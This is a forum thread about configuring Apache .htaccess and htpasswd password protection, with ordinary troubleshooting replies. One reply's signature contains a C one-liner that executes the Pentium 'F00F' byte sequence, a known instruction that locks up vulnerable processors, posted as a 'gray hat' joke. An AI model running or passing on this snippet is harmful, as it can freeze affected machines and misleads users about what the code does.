Results 1 to 3 of 3
  1. #1

    htpasswd on a directory

    I am creating a passwd on a directoy with the help of htpasswd. But its not working and does not prompt for passwd.The .htaccess I have created is a under.
    AuthUserFile /var/www/html/.htpasswd
    AuthName Admins
    AuthType Basic
    <Limit GET>
    require valid-user
    Then I use
    #htpasswd -c /var/ww/html/.htpasswd atif

    In this way passwd file is also created by still it does not ask for passwd and goes directly into the index.html.

    Thanks in advance.

  2. #2
    Join Date
    Nov 2001
    Ann Arbor, MI
    Maybe you need AllowOverride in your httpd.conf for that dir?
    -Mark Adams - Secure Michigan web hosting for your business.
    Only host still offering a full money back uptime guarantee and prorated refunds.
    Offering advanced server management and security incident response!

  3. #3
    Join Date
    Jan 2002
    Atlanta, GA
    Simple quick .htaccess file that I know to work
    AuthType Basic
    AuthName "Secure Pages"
    AuthUserFile /var/www/html/.htpasswd
    require valid-user
    char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }main (){void (*f)() = x;f();}
    I wear a gray hat

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts